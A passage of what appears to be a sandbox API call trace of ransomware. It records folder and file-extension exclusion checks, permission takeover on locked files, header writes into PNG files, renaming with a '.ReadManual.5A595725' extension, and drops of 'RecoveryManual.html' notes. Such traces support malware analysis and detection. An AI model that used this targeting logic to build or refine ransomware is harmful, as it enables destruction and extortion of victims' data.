lpString2="SpecialOccasion" | out: lpString1="SpecialOccasion") returned="SpecialOccasion" [0254.542] lstrcatW (in: lpString1="SpecialOccasion", lpString2="\\" | out: lpString1="SpecialOccasion\\") returned="SpecialOccasion\\" [0254.542] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch=":\\Windows\\") returned 0x0 [0254.542] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0254.542] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0254.542] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0254.542] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch=":\\WINNT") returned 0x0 [0254.542] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0254.542] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch=":\\Windows.old\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch=":\\PerfLog\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch="\\WindowsApps\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch="\\Windows Defender\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch="\\microsoft shared\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch="\\Tor Browser\\") returned 0x0 [0254.543] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0254.543] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\") returned 64 [0254.543] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0254.545] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\" [0254.545] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.545] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0254.545] lstrcpyW (in: lpString1=0x6ab91c, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0254.545] lstrcmpiW (lpString1="1047x576black.png", lpString2="RecoveryManual.html") returned -1 [0254.545] StrStrIW (lpFirst="1047x576black.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.545] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.545] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.545] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.545] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.545] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.545] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.545] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.545] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.545] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.545] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.545] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.545] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.545] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.545] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.545] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" [0254.545] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png.ReadManual.5A595725" [0254.545] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png.ReadManual.5A595725") returned 101 [0254.545] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37521409442) returned 1 [0254.545] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png")) returned 0x20 [0254.546] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.546] GetLastError () returned 0x5 [0254.546] GetNamedSecurityInfoW () returned 0x0 [0254.546] SetNamedSecurityInfoW () returned 0x0 [0254.546] SetNamedSecurityInfoW () returned 0x0 [0254.548] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.548] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4570) returned 1 [0254.548] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11da, lpName=0x0) returned 0x1a0 [0254.548] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0254.549] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.549] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.550] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.550] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11da) returned 0x2f0000 [0254.551] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.551] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37521936965) returned 1 [0254.551] CloseHandle (hObject=0x1a0) returned 1 [0254.551] SetSecurityInfo () returned 0x5 [0254.551] SetSecurityInfo () returned 0x5 [0254.551] LocalFree (hMem=0x674d38) returned 0x0 [0254.551] CloseHandle (hObject=0x184) returned 1 [0254.551] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\" [0254.551] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\RecoveryManual.html" [0254.551] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0254.552] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0254.553] CloseHandle (hObject=0x184) returned 1 [0254.554] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 1 [0254.554] lstrcpyW (in: lpString1=0x6ab91c, lpString2="mainscroll.png" | out: lpString1="mainscroll.png") returned="mainscroll.png" [0254.554] lstrcmpiW (lpString1="mainscroll.png", lpString2="RecoveryManual.html") returned -1 [0254.554] StrStrIW (lpFirst="mainscroll.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.554] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.554] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.554] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.554] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.554] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.554] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.554] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.554] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.554] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.554] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.554] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.554] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.554] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.554] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.554] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" [0254.554] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png.ReadManual.5A595725" [0254.554] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png.ReadManual.5A595725") returned 98 [0254.554] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37522306751) returned 1 [0254.554] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png")) returned 0x20 [0254.555] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.555] GetLastError () returned 0x5 [0254.555] GetNamedSecurityInfoW () returned 0x0 [0254.556] SetNamedSecurityInfoW () returned 0x0 [0254.556] SetNamedSecurityInfoW () returned 0x0 [0254.557] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.557] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=51801) returned 1 [0254.557] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xca59, lpName=0x0) returned 0x1a0 [0254.558] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0254.558] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.558] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.560] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.560] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xca59) returned 0x2f0000 [0254.561] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.561] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37523022214) returned 1 [0254.561] CloseHandle (hObject=0x1a0) returned 1 [0254.562] SetSecurityInfo () returned 0x5 [0254.562] SetSecurityInfo () returned 0x5 [0254.562] LocalFree (hMem=0x674d38) returned 0x0 [0254.562] CloseHandle (hObject=0x184) returned 1 [0254.562] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.562] lstrcpyW (in: lpString1=0x6ab91c, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0254.562] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.562] StrStrIW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.562] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.562] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.562] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.562] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.562] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.562] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.562] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.562] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.562] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.562] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.562] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.562] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.562] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.562] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.562] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" [0254.562] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725" [0254.562] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned 116 [0254.562] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37523118809) returned 1 [0254.562] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png")) returned 0x20 [0254.563] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.563] GetLastError () returned 0x5 [0254.563] GetNamedSecurityInfoW () returned 0x0 [0254.563] SetNamedSecurityInfoW () returned 0x0 [0254.564] SetNamedSecurityInfoW () returned 0x0 [0254.565] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.565] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5088) returned 1 [0254.565] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e0, lpName=0x0) returned 0x1a0 [0254.565] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf8) returned 1 [0254.566] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.566] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.567] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.568] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e0) returned 0x2f0000 [0254.568] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.568] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37523655358) returned 1 [0254.568] CloseHandle (hObject=0x1a0) returned 1 [0254.568] SetSecurityInfo () returned 0x5 [0254.568] SetSecurityInfo () returned 0x5 [0254.568] LocalFree (hMem=0x674d38) returned 0x0 [0254.568] CloseHandle (hObject=0x184) returned 1 [0254.569] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.569] lstrcpyW (in: lpString1=0x6ab91c, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0254.569] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.569] StrStrIW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.569] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.569] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.569] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.569] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.569] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.569] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.569] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.569] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.569] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.569] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.569] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.569] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.569] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.569] StrCmpIW 